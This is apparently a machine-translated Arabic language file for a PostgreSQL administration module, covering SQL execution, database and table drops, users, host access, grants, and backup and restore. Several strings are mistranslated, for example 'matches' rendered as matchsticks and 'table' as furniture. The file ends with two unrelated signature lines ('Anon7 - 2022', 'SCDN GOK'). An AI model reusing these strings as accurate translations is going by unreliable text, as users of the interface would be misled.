exec_header3=حدد ملف بيانات نصية للاستيراد إلى قاعدة بيانات PostgreSQL $1 ..
exec_header4=يجب أن يحتوي هذا الملف على سجل قاعدة بيانات واحد لكل سطر ، مع فصل الحقول إما في علامة تبويب أو تنسيق CSV.
exec_importmode=مصدر ملف CSV
exec_delete=هل تريد حذف البيانات في الجدول أولاً؟
exec_filename=من اسم الملف
exec_ignore=تجاهل الصفوف المكررة؟
exec_edit=تحرير السابق
exec_format=تنسيق الملف
exec_tabexec=تنفيذ SQL
exec_tabfile=قم بتشغيل SQL من ملف
exec_tabimport=استيراد ملف نصي
exec_return=تنفيذ نموذج SQL
exec_ecompress=ملف SQL مضغوط ، لكن البرنامج$1 المطلوب لإلغاء ضغطه غير مثبت.
exec_ecompress2=فشل فك الضغط :$1

stop_err=فشل في إيقاف خادم قاعدة البيانات
stop_epidfile=فشل في فتح ملف PID$1
stop_ekill=فشل في إنهاء العملية $1 : $2 
stop_ecannot=لا يسمح لك بإيقاف خادم قاعدة البيانات
start_err=فشل بدء تشغيل خادم قاعدة البيانات
start_ecannot=غير مسموح لك ببدء خادم قاعدة البيانات

ddrop_err=فشل في إسقاط قاعدة البيانات
ddrop_title=إسقاط قاعدة البيانات
ddrop_rusure=هل تريد بالتأكيد إسقاط قاعدة البيانات$1؟ سيتم حذف جداول$2 التي تحتوي على$3 من صفوف البيانات.
ddrop_mysql=نظرًا لأن هذه هي قاعدة البيانات الرئيسية ، فمن المحتمل أن يؤدي إسقاطها إلى جعل خادم PostgreSQL غير قابل للاستخدام!
ddrop_ok=إسقاط قاعدة البيانات

tdrop_err=فشل في إسقاط الجدول
tdrop_title=إسقاط الجدول
tdrop_rusure=هل تريد بالتأكيد إسقاط الجدول$1 في قاعدة البيانات$2؟ سيتم حذف$3 من صفوف البيانات.
tdrop_ok=إسقاط الجدول

view_title=بيانات الجدول
view_pos=الصفوف من$1 إلى$2 من$3
view_none=هذا الجدول لا يحتوي على بيانات
view_edit=تحرير الصفوف المحددة
view_new=اضف سطر
view_delete=حذف الصفوف المحددة
view_refresh=تحديث
view_nokey=لا يمكن تحرير البيانات في هذا الجدول لأنه لا يحتوي على مفتاح أساسي.
view_all=اختر الكل
view_invert=اختيار المقلوب
view_search2=ابحث عن الصفوف حيث الحقل$2 $3$1
view_match0=يحتوي على
view_match1=اعواد الكبريت
view_match2=لا يحتوي على
view_match3=لا تتطابق
view_match4=أكثر من
view_match5=أقل من
view_searchok=بحث
view_searchhead=نتائج البحث عن$1 في الحقل$2 ..
view_searchhead2=نتائج البحث المتقدم في الحقول$1 ..
view_searchreset=إعادة البحث
view_sorthead1=الفرز حسب$1 ، ترتيب تنازلي
view_sorthead2=الفرز حسب$1 ، ترتيب تصاعدي
view_sortreset=إعادة تعيين الفرز
view_field=اسم الحقل
view_data=بيانات جديدة
view_jump=انتقل إلى الصف
view_go=اذهب
view_download=تحميل ..
view_keep=اتركه دون تغيير
view_set=تعيين لمحتويات الملف ..
view_warn=تحذير - من غير المحتمل أن يعمل تحميل الملفات إلى محتويات <tt>text</tt> أو <tt>bytea</tt> وعرض محتويات محتوياتها ما لم يتم تثبيت وحدتي$1 و$2 Perl واستخدامها.
view_adv=البحث المتقدم
view_sqlrun=النتائج التي تم إنشاؤها بواسطة استعلام SQL :$1

newdb_title=إنشاء قاعدة بيانات
newdb_header=خيارات قاعدة البيانات الجديدة
newdb_db=اسم قاعدة البيانات
newdb_path=مسار ملف قاعدة البيانات
newdb_err=فشل في إنشاء قاعدة بيانات
newdb_edb=اسم قاعدة البيانات مفقود أو غير صالح
newdb_ecannot=لا يسمح لك بإنشاء قواعد بيانات
newdb_ecannot2=لا يسمح لك بإنشاء المزيد من قواعد البيانات
newdb_epath=مسار قاعدة البيانات مفقود
newdb_user=مملوكة للمستخدم
newdb_encoding=ترميز مجموعة الأحرف
newdb_eencoding=ترميز مجموعة أحرف مفقود
newdb_template=قاعدة بيانات القالب
newdb_notemplate=لا يوجد

user_title=مستخدمو PostgreSQL
user_vwarning=تحذير: مستخدم PostgreSQL هذا هو تسجيل دخول الإدارة لنطاق Virtualmin$1. قد يؤدي تغيير أي إعدادات هنا إلى حدوث أخطاء في Virtualmin.
user_ecannot=لا يسمح لك بتحرير المستخدمين
user_name=اسم المستخدم
user_db=يمكن إنشاء قواعد البيانات؟
user_other=يمكن إنشاء المستخدمين؟
user_until=صالح حتى
user_add=قم بإنشاء مستخدم جديد.
user_forever=إلى الأبد
user_pass=يتطلب كلمة مرور؟
user_edit=تحرير العضو
user_create=إنشاء مستخدم
user_return=قائمة المستخدم
user_header=تفاصيل مستخدم PostgreSQL
user_passwd=كلمه السر
user_none=لا يوجد
user_setto=ضبط ل
user_nochange=لا تتغير
user_err=فشل في حفظ المستخدم
user_epass=كلمة المرور مفقودة أو غير صالحة
user_ename=اسم المستخدم مفقود أو غير صالح
user_sync=تعمل الخيارات أدناه على تهيئة المزامنة بين مستخدمي Unix التي تم إنشاؤها من خلال مستخدمي Webmin و PostgreSQL.
user_syncwhen=متى تزامن
user_sync_create=قم بإضافة مستخدم PostgreSQL جديد عند إضافة مستخدم Unix.
user_sync_modify=قم بتحديث مستخدم PostgreSQL عند تعديل مستخدم Unix المطابق.
user_sync_delete=حذف مستخدم PostgreSQL عند حذف مستخدم يونكس المطابق.
user_delete=احذف المختار
user_derr=فشل حذف المستخدمين
user_enone=لم يتم تحديد مستخدمين

host_ecannot=لا يسمح لك بتحرير المضيفين المسموح لهم
host_title=المضيفون المسموح لهم
host_desc=عندما يتصل العميل بقاعدة البيانات ، تتم معالجة المضيفين المدرجين أدناه بالترتيب حتى يتطابق أحد العملاء ويسمح للعميل أو يرفض.
host_header=تفاصيل مصادقة عميل PostgreSQL
host_local=اتصال محلي
host_peer=نظير الشبكة
host_address=عنوان المضيف
host_db=قاعدة البيانات
host_user=المستخدمون
host_uall=جميع المستخدمين
host_auth=وضع مصادقة
host_any=أي مضيف شبكة
host_all=جميع قواعد البيانات
host_same=نفس اسم المستخدم
host_gsame=نفس اسم المجموعة
host_other=آخر ..
host_usel=المستخدمون المدرجون ..
host_add=إنشاء مضيف جديد مسموح به.
host_ident=تحقق من خادم <tt>ident</tt> على المضيف
host_trust=لا مصادقة مطلوبة
host_reject=رفض الاتصال
host_password=كلمة مرور نص عادي
host_crypt=كلمة المرور المشفرة
host_md5=MD5 كلمة المرور المشفرة
host_krb4=Kerberos V4
host_krb5=Kerberos V5
host_pam=PAM
host_passwordarg=استخدم ملف كلمة المرور
host_identarg0=لا تستخدم أي خريطة مستخدم
host_identarg1=مستخدمي PostgreSQL و Unix متشابهان
host_identarg2=استخدم ملف خريطة المستخدم
host_pamarg=استخدام خدمة PAM
host_create=إنشاء مضيف مسموح به
host_edit=تحرير المضيف المسموح به
host_single=مضيف واحد
host_network=شبكة الاتصال
host_netmask=قناع الشبكة
host_cidr=طول CIDR
host_return=قائمة وصول المضيف
host_err=فشل في حفظ المضيف المسموح به
host_eident=خريطة مستخدم مفقودة أو غير صالحة
host_epam=خدمة PAM مفقودة أو غير صالحة
host_epassword=ملف كلمة المرور مفقود أو غير صالح
host_enetmask=قناع الشبكة مفقود أو غير صالح
host_enetwork=شبكة مفقودة أو غير صالحة
host_ehost=عنوان IP للمضيف مفقود أو غير صالح
host_move=نقل
host_edb=لم يتم إدخال اسم (أسماء) قاعدة البيانات
host_euser=لم يتم إدخال اسم (أسماء) مستخدمين
host_ssl=مطلوب اتصال SSL؟
host_viassl=عبر SSL
host_derr=فشل في حذف المضيفات المسموح بها
host_enone=لم يتم تحديد مضيفين
host_manual=تحرير ملف التكوين
host_manualdesc=انقر فوق هذا الزر لتحرير ملف تكوين المضيفين المسموح به يدويًا.

manual_title=تحرير ملف التكوين
manual_err=فشل في حفظ ملف التكوين

grant_title=الامتيازات الممنوحة
grant_tvi=موضوع
grant_type=اكتب
grant_db=قاعدة البيانات
grant_ns=مخطط
grant_public=كل واحد
grant_group=مجموعة 1
grant_add=إضافة منحة في قاعدة البيانات :
grant_return=قائمة الامتيازات
grant_ecannot=لا يسمح لك بتحرير الامتيازات
grant_create=إنشاء منحة
grant_edit=تحرير غرانت
grant_header=الامتيازات الممنوحة للمستخدمين
grant_to=منح الامتيازات في
grant_table=الطاولة
grant_view=عرض أو فهرس
grant_users=منح الامتيازات لـ
grant_user=المستعمل
grant_what=امتيازات
grant_r=الطاولة
grant_v=رأي
grant_i=فهرس
grant_S=تسلسل
grant_none=لا توجد جداول أو طرق عرض أو تسلسلات أو فهارس لمنح الامتيازات في.
grant_toomany=هناك العديد من الكائنات لعرضها. البحث عن كائنات مطابقة:
grant_showing=عرض الكائنات المطابقة لـ$1 ..
grant_delete=إعادة تعيين المنح المحددة

group_title=مجموعات PostgreSQL
group_ecannot=لا يسمح لك بتحرير المجموعات
group_name=أسم المجموعة
group_id=معرف مجموعة
group_mems=أفراد
group_memsopts=جميع المستخدمين
group_memsvals=المستخدمون في المجموعة
group_add=قم بإنشاء مجموعة جديدة.
group_edit=تحرير المجموعة
group_create=إنشاء مجموعة
group_header=تفاصيل مجموعة PostgreSQL
group_return=قائمة المجموعات
group_err=فشل في حفظ المجموعة
group_ename=اسم مجموعة مفقود أو غير صالح
group_egid=معرف مجموعة مفقود أو غير صالح
group_etaken=اسم المجموعة قيد الاستخدام بالفعل
group_none=لا توجد مجموعات PostgreSQL حاليًا.
group_derr=فشل في حذف المجموعات
group_enone=لم يتم تحديد مجموعات

esql=فشل SQL $1 : $2 
log_start=بدأت خادم PostgreSQL
log_stop=توقف خادم PostgreSQL
log_db_create=تم إنشاء قاعدة البيانات$1
log_db_delete=تم إسقاط قاعدة البيانات$1
log_dbs_delete=تم إسقاط$1 من قواعد البيانات
log_users_delete=تم حذف$1 من المستخدمين
log_groups_delete=تم حذف$1 مجموعة
log_hosts_delete=تم حذف$1 من المضيفين المسموح بهم
log_table_create=تم إنشاء الجدول$1 في قاعدة البيانات$2
log_table_delete=تم إسقاط الجدول$1 من قاعدة البيانات$2
log_view_create=طريقة العرض التي تم إنشاؤها$1 في قاعدة البيانات$2
log_view_modify=طريقة عرض معدلة$1 في قاعدة البيانات$2
log_view_delete=طريقة العرض المسقطة$1 من قاعدة البيانات$2
log_index_create=تم إنشاء الفهرس$1 في قاعدة البيانات$2
log_index_modify=فهرس معدّل$1 في قاعدة البيانات$2
log_index_delete=إسقاط الفهرس$1 من قاعدة البيانات$2
log_seq_create=تم إنشاء التسلسل$1 في قاعدة البيانات$2
log_seq_modify=تسلسل معدل$1 في قاعدة البيانات$2
log_seq_delete=تم إسقاط التسلسل$1 من قاعدة البيانات$2
log_tables_delete=تم إسقاط كائنات $1 من قاعدة البيانات$2
log_field_create=تمت إضافة الحقل$1 $4 إلى$2 في قاعدة البيانات$3
log_field_modify=الحقل المعدل$1 $4 في$2 في قاعدة البيانات$3
log_field_delete=تم حذف الحقل$1 من$2 في قاعدة البيانات$3
log_fields_delete=تم حذف حقول$1 من$2 في قاعدة البيانات$3
log_data_create=تمت إضافة صف إلى الجدول$2 في قاعدة البيانات$3
log_data_modify=تعديل$1 صفوف في الجدول$2 في قاعدة البيانات$3
log_data_delete=تم حذف$1 صف من الجدول$2 في قاعدة البيانات$3
log_exec=تم تنفيذ SQL في قاعدة البيانات$1
log_exec_l=تنفيذ أمر SQL $2 في قاعدة البيانات$1
log_create_user=المستخدم الذي تم إنشاؤه$1
log_delete_user=المستخدم المحذوف$1
log_modify_user=المستخدم المعدل$1
log_create_group=المجموعة التي تم إنشاؤها$1
log_delete_group=المجموعة المحذوفة$1
log_modify_group=مجموعة معدلة$1
log_create_local=تم إنشاء اتصال محلي مسموح به
log_modify_local=تعديل الاتصال المحلي المسموح به
log_delete_local=تم حذف الاتصال المحلي المسموح به
log_move_local=تم نقل الاتصال المحلي المسموح به
log_create_all=إنشاء أي مضيف مسموح به
log_modify_all=تعديل أي مضيف مسموح به
log_delete_all=حذف أي مضيف مسموح به
log_move_all=تم نقل أي مضيف مسموح به
log_create_hba=تم إنشاء المضيف المسموح به$1
log_modify_hba=المضيف المسموح به المعدل$1
log_delete_hba=المضيف المحذوف المسموح به$1
log_move_hba=تم نقل المضيف المسموح به$1
log_grant=تم منح الامتيازات على$1 في قاعدة البيانات$2
log_degrant=تمت إزالة الامتيازات الممنوحة لكائنات$1
log_setup=قاعدة البيانات الأولية
log_backup=تم إجراء نسخ احتياطي لقاعدة البيانات$1
log_backup_l=نسخ احتياطي لقاعدة البيانات $1 إلى الملف$2
log_backup_all=النسخ الاحتياطي لجميع قواعد البيانات
log_backup_all_l=نسخ احتياطي لكافة قواعد البيانات إلى الملف$2
log_manual=تم تعديل ملف تهيئة المضيفين يدويًا

acl_dbs=قواعد البيانات التي يمكن لهذا المستخدم إدارتها
acl_dbscannot=سيصبح التحكم في الوصول هذا فعالاً ، بعد بدء تشغيل خادم قاعدة بيانات PostgreSQL.
acl_dall=جميع قواعد البيانات
acl_dsel=المحدد ..
acl_create=يمكن إنشاء قواعد بيانات جديدة؟
acl_max=نعم ، على الأكثر
acl_delete=يمكن إسقاط قواعد البيانات؟
acl_stop=يمكن إيقاف وبدء خادم PostgreSQL؟
acl_users=يمكن تحرير المستخدمين والمجموعات والمضيفين والمنح؟
acl_backup=يمكن إنشاء نسخ احتياطية؟
acl_restore=يمكن استعادة النسخ الاحتياطية؟
acl_login=تسجيل الدخول إلى MySQL باسم
acl_user_def=اسم المستخدم من تكوين الوحدة
acl_user=اسم المستخدم
acl_pass=كلمه السر
acl_sameunix=هل تريد الاتصال بعمل نسخ احتياطية لنفس مستخدم Unix؟
acl_cmds=يمكن تحرير قبل وبعد أوامر النسخ الاحتياطي؟
acl_views=يمكن عرض وإدارة المشاهدات؟
acl_indexes=يمكن عرض وإدارة الفهارس؟
acl_seqs=يمكن عرض وإدارة التسلسلات؟

fdrop_err=فشل حذف الحقول
fdrop_enone=لم يتم تحديد شيء
fdrop_eall=لا يمكنك حذف جميع الحقول من جدول!

setup_err=فشل تهيئة قاعدة البيانات
setup_ecannot=غير مسموح لك بتهيئة قاعدة البيانات

dbase_bkup=دعم
dbase_rstr=استعادة

restore_title=استعادة قاعدة البيانات
restore_header=استعادة خيارات قاعدة البيانات
restore_db=اسم قاعدة البيانات
restore_src=يستعيد من
restore_src0=ملف على الخادم$1
restore_src1=تم تحميل الملف$1
restore_err=فشل في استعادة قاعدة البيانات
restore_edb=اسم قاعدة البيانات مفقود أو غير صالح
restore_eacl=يجب أن يسمح لك بإنشاء وإسقاط قاعدة البيانات
restore_epath=مسار قاعدة البيانات مفقود
restore_go=استعادة
restore_pe1=يجب أن يكون الملف ملف tar ($1)
restore_pe2=لم يتم العثور على الملف ($1)
restore_exe=خطأ في تنفيذ الأمر ($1)
restore_ecmd=لم يتم العثور على أمر الاستعادة$1 على نظامك
restore_ecannot=لا يسمح لك باستعادة النسخ الاحتياطية
restore_only=استعادة البيانات فقط ، وليس الجداول؟
restore_clean=حذف الجداول قبل الاستعادة؟
restore_tables=جداول لاستعادة
restore_tables1=كل ذلك في ملف النسخ الاحتياطي
restore_tables0=الجداول المدرجة
restore_failed=فشل الاستعادة :$1

backup_title=قاعدة بيانات النسخ الاحتياطي
backup_title2=النسخ الاحتياطي لجميع قواعد البيانات
backup_header1=وجهة النسخ الاحتياطي
backup_header2=خيارات النسخ الاحتياطي الأخرى
backup_header3=جدول النسخ الاحتياطي
backup_db=اسم قاعدة البيانات
backup_desc=يسمح لك هذا النموذج بالنسخ الاحتياطي لقاعدة البيانات $1 إما كملف عبارات SQL أو كأرشيف.
backup_desc2=يمكن إجراء النسخ الاحتياطي على الفور ، أو تلقائيًا وفقًا لجدول محدد.
backup_desc3=يسمح لك هذا النموذج بالنسخ الاحتياطي لجميع قواعد البيانات كملفات من عبارات SQL أو الأرشيف.
backup_path=مسار ملف النسخ الاحتياطي
backup_path2=دليل ملفات النسخ الاحتياطي
backup_mkdir=هل تريد إنشاء دليل وجهة؟
backup_err=فشل النسخ الاحتياطي لقاعدة البيانات
backup_eacl=يجب أن يسمح لك بإنشاء وإسقاط قاعدة البيانات
backup_edb=اسم قاعدة البيانات مفقود أو غير صالح
backup_epath=مسار قاعدة البيانات مفقود
backup_ok=اعمل نسخة احتياطية الان
backup_ok1=حفظ والنسخ الاحتياطي الآن
backup_ok2=حفظ
backup_pe1=يجب أن يكون الملف ملف TAR (.tar) ($1)
backup_pe2=الملف موجود بالفعل ($1)
backup_pe3=مسار ملف النسخ الاحتياطي مفقود أو غير صالح
backup_pe4=دليل ملفات النسخ الاحتياطي مفقود أو غير موجود
backup_ebackup=فشل <tt>pg_dump</tt> :$1
backup_ecmd=لم يتم العثور على أمر النسخ الاحتياطي$1 على نظامك
backup_format=تنسيق ملف النسخ الاحتياطي
backup_format_p=نص SQL عادي
backup_format_t=أرشيف Tar
backup_format_c=أرشيف مخصص
backup_compress=نوع الضغط
backup_compress_0=لا أحد
backup_compress_1=<tt>gzip</tt>
backup_compress_2=<tt>bzip2</tt>
backup_ecannot=لا يسمح لك بإنشاء نسخ احتياطية
backup_done=تم إجراء نسخ احتياطي بنجاح لـ$3 بايت من قاعدة البيانات $1 للملف$2.
backup_notaccept=قاعدة البيانات $1 لا تقبل الاتصالات.
backup_sched=تم تمكين النسخ الاحتياطي المجدول؟
backup_special=جدول النسخ الاحتياطي
backup_sched1=نعم ، في الأوقات المختارة أدناه ..
backup_ccron=تم تمكين النسخ الاحتياطي المجدول لقاعدة البيانات.
backup_dcron=تم تعطيل النسخ الاحتياطي المجدول لقاعدة البيانات.
backup_ucron=تم تحديث مسار النسخ الاحتياطي المجدول وتنسيقه وأوقات تحديث قاعدة البيانات.
backup_ncron=تم إيقاف النسخ الاحتياطي المجدول لقاعدة البيانات.
backup_before=الأمر للتشغيل قبل النسخ الاحتياطي
backup_after=الأمر للتشغيل بعد النسخ الاحتياطي
backup_tables=جداول للنسخ الاحتياطي
backup_alltables=جميع الجداول
backup_seltables=الجدول فقط
backup_ebefore=فشل الأمر قبل النسخ الاحتياطي!
backup_cmode=متى يتم تشغيل الأوامر
backup_cmode1=قبل/بعد جميع قواعد البيانات
backup_cmode0=قبل/بعد كل قاعدة بيانات

r_command=الأمر غير معتمد

adv_title=البحث المتقدم
adv_and=البحث عن سجلات مطابقة لجميع المعايير ..
adv_or=البحث عن سجلات تطابق أي معايير ..
adv_ok=ابحث الآن

tdrops_enone=لم يتم تحديد جدول (جداول) لإسقاطه
tdrops_err=فشل إسقاط الجدول (الجداول)
tdrops_ok=قطرة
tdrops_title=تم تحديد إسقاط
tdrops_rusure=هل تريد بالتأكيد إسقاط$1 من الجداول المحددة في قاعدة البيانات$2؟ سيتم حذف$3 من صفوف البيانات.
tdrops_rusure2=هل تريد بالتأكيد إسقاط$1 من الجداول المحددة في قاعدة البيانات$2؟

ddrops_err=فشل في إسقاط قواعد البيانات
ddrops_title=إسقاط قواعد البيانات
ddrops_rusure=هل تريد بالتأكيد إسقاط قواعد البيانات المحددة$1؟ سيتم حذف جداول$2 التي تحتوي على$3 من صفوف البيانات.
ddrops_mysql=نظرًا لأنه تم تحديد قاعدة البيانات الرئيسية ، فمن المحتمل أن يؤدي إسقاطها إلى جعل خادم PostgreSQL غير قابل للاستخدام!
ddrops_ok=إسقاط قواعد البيانات
ddrops_enone=لم يتم تحديد قواعد بيانات
ddrops_ecannotdb=غير مسموح لك بإسقاط قاعدة البيانات$1

csv_title=تصدير ملف CSV
csv_header=خيارات تصدير CSV
csv_dest=وجهة التصدير
csv_browser=العرض في المتصفح
csv_file=احفظ الملف ..
csv_where=SQL <tt>حيث</tt> عبارة للصفوف لتصديرها
csv_all=تصدير كل الصفوف
csv_ok=تصدير الآن
csv_format=تنسيق الملف
csv_format0=CSV مع اقتباسات
csv_format1=CSV بدون علامات اقتباس
csv_format2=فصل علامة التبويب
cvs_err=فشل تصدير CSV
csv_efile=ملف وجهة مفقود أو غير صالح
csv_ebuser=لا يسمح لك بالتصدير إلى ملف
csv_ewhere=مفقود جملة <tt>حيث</tt>
csv_done=اكتمل تصدير CSV إلى$1. حجم الملف الناتج هو$2.
csv_headers=هل تريد تضمين أسماء الأعمدة في ملف CSV؟
csv_cols=الأعمدة المراد تضمينها في CSV
csv_ecols=لم يتم تحديد أعمدة

import_title=بيانات الاستيراد
import_uploadout=استيراد البيانات من ملف تم تحميله ..
import_fileout=استيراد البيانات من الملف$1 ..
import_eupload=ملف الاستيراد الذي تم تحميله مفقود
import_efile=اسم ملف الاستيراد مفقود
import_done=.. قام بإنشاء$1 صف ، تخطي$2 تكرار.
import_erow=.. لم يتم العثور على حقول في الصف$1

index_title1=إنشاء فهرس
index_header1=خيارات الفهرس
index_name=اسم الفهرس
index_fields=الحقول في الفهرس
index_type=نوع الفهرس
index_unique=فريد
index_nonunique=غير فريد
index_fulltext=نص كامل
index_spatial=مكاني
index_err=فشل إنشاء الفهرس
index_ename=اسم فهرس مفقود أو غير صالح
index_eclash=يوجد بالفعل فهرس بنفس الاسم
index_ehash=يمكن أن تكون فهارس BTREE فقط فريدة
index_ecols=لم يتم تحديد حقول
index_title2=تحرير الفهرس
index_header=الفهرس$1 في قاعدة البيانات$2
index_ecannot=غير مسموح لك بإدارة الفهارس

view_title1=إنشاء عرض
view_title2=تحرير عرض
view_header1=عرض التفاصيل
view_name=اسم العرض
view_query=استعلام اختيار SQL
view_cols=أسماء الأعمدة
view_auto=تلقائي
view_below=دخلت أدناه ..
view_err=فشل في حفظ العرض
view_ename=اسم عرض مفقود أو غير صالح
view_eclash=يوجد بالفعل عرض بنفس الاسم
view_equery=استعلام SQL مفقود
view_ecols=لم يتم إدخال أسماء الأعمدة
view_ecannot=لا يسمح لك بإدارة طرق العرض

seq_title1=إنشاء تسلسل
seq_title2=تحرير التسلسل
seq_header1=خيارات التسلسل المتزايد
seq_name=اسم التسلسل
seq_last=القيمة الحالية
seq_leave=اتركه بدون تغيير ($1)
seq_min=الحد الأدنى للقيمة
seq_max=القيمة القصوى
seq_inc=زيادة بنسبة
seq_cache=عدد القيم المخزنة مؤقتًا
seq_cycle=العودة إلى الحد الأدنى عند الوصول إلى الحد الأقصى؟
seq_none=لا يوجد
seq_err=فشل في حفظ التسلسل
seq_ename=اسم تسلسل مفقود أو غير صالح
seq_eclash=يوجد بالفعل تسلسل بنفس الاسم
seq_emin=الحد الأدنى للقيمة مفقود أو غير صالح
seq_emax=القيمة القصوى مفقودة أو غير صالحة
seq_ecache=عدد القيم المفقودة أو غير الصالحة للتخزين المؤقت
seq_ecannot=لا يسمح لك بإدارة التسلسل

dgrant_err=فشل في إعادة تعيين المنح
dgrant_enone=لم يتم تحديد كائنات

Anon7 - 2022
SCDN GOK